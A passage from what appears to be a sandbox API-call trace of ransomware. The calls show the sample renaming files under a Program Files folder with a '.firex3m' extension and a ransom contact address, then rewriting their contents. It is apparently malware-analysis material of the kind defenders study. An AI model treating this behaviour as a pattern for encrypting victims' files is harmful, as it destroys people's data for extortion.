returned 0x630000 [0221.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0221.063] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.063] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.063] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.063] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.063] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.063] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.064] CloseHandle (hObject=0x6c8) returned 1 [0221.064] GetProcessHeap () returned 0x630000 [0221.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0221.064] GetProcessHeap () returned 0x630000 [0221.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0221.064] GetProcessHeap () returned 0x630000 [0221.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0221.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49b67b22, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x45bfd20, dwReserved1=0x6f41b8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0221.066] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0221.066] Sleep (dwMilliseconds=0x1) [0221.072] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html", len=0x6f | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html") returned 1 [0221.072] GetProcessHeap () returned 0x630000 [0221.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f4) returned 0x6fe3bb0 [0221.073] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0221.073] CloseHandle (hObject=0x6cc) returned 1 [0221.073] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.073] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0221.074] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0221.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0221.074] GetProcessHeap () returned 0x630000 [0221.074] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c81) returned 0x71803a8 [0221.074] GetProcessHeap () returned 0x630000 [0221.074] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c81) returned 0x72a3b20 [0221.074] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.074] ReadFile (in: hFile=0x6cc, lpBuffer=0x71803a8, nNumberOfBytesToRead=0x9c60, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x45bff0c*=0x9c60, lpOverlapped=0x0) returned 1 [0224.396] GetProcessHeap () returned 0x630000 [0224.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0224.397] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.397] WriteFile (in: hFile=0x6cc, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x45bff0c*=0x9c60, lpOverlapped=0x0) returned 1 [0225.141] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.141] WriteFile (in: hFile=0x6cc, lpBuffer=0x72ad77f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ad77f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.759] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.759] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.759] CloseHandle (hObject=0x6cc) returned 1 [0225.759] GetProcessHeap () returned 0x630000 [0225.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0225.759] GetProcessHeap () returned 0x630000 [0225.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0225.763] GetProcessHeap () returned 0x630000 [0225.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0225.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0xb747496, dwReserved1=0x71803a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0225.958] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0225.958] Sleep (dwMilliseconds=0x1) [0225.973] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml") returned 1 [0225.973] GetProcessHeap () returned 0x630000 [0225.973] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5188) returned 0x6fe3bb0 [0225.973] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.974] CloseHandle (hObject=0x4f0) returned 1 [0225.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.974] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0225.975] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0225.975] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.975] GetProcessHeap () returned 0x630000 [0225.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0225.975] GetProcessHeap () returned 0x630000 [0225.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0225.975] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.975] ReadFile (in: hFile=0x4f0, lpBuffer=0x74aa618, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesRead=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.978] GetProcessHeap () returned 0x630000 [0225.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0225.978] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.978] WriteFile (in: hFile=0x4f0, lpBuffer=0x74aaba0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesWritten=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.978] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.978] WriteFile (in: hFile=0x4f0, lpBuffer=0x74aad3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aad3f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.979] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.979] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.979] CloseHandle (hObject=0x4f0) returned 1 [0225.979] GetProcessHeap () returned 0x630000 [0225.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0225.979] GetProcessHeap () returned 0x630000 [0225.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0225.979] GetProcessHeap () returned 0x630000 [0225.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0225.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ca57ccf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x45bfd20, dwReserved1=0x74aa618, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0225.980] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0225.980] Sleep (dwMilliseconds=0x1) [0226.034] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml") returned 1 [0226.034] GetProcessHeap () returned 0x630000 [0226.034] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0226.035] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.035] CloseHandle (hObject=0x6c0) returned 1 [0226.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.036] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4f80 [0226.036] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0226.036] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.037] GetProcessHeap () returned 0x630000 [0226.037] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0226.037] GetProcessHeap () returned 0x630000 [0226.037] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0226.037] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.037] ReadFile (in: hFile=0x6c0, lpBuffer=0x6f3e48, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesRead=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0226.039] GetProcessHeap () returned 0x630000 [0226.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0226.039] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.039] WriteFile (in: hFile=0x6c0, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0226.039] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.039] WriteFile (in: hFile=0x6c0, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.040] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.040] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.040] CloseHandle (hObject=0x6c0) returned 1 [0226.040] GetProcessHeap () returned 0x630000 [0226.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0226.040] GetProcessHeap () returned 0x630000 [0226.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0226.040] GetProcessHeap () returned 0x630000 [0226.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0226.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.040] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4caca696, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x45bfd20, dwReserved1=0x6f3e48, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0226.040] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0226.040] Sleep (dwMilliseconds=0x1) [0227.901] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png", len=0x7d | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png") returned 1 [0227.901] GetProcessHeap () returned 0x630000 [0227.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5128) returned 0x6fe3bb0 [0227.902] CreateFileW (lpFileName="C:\\Program 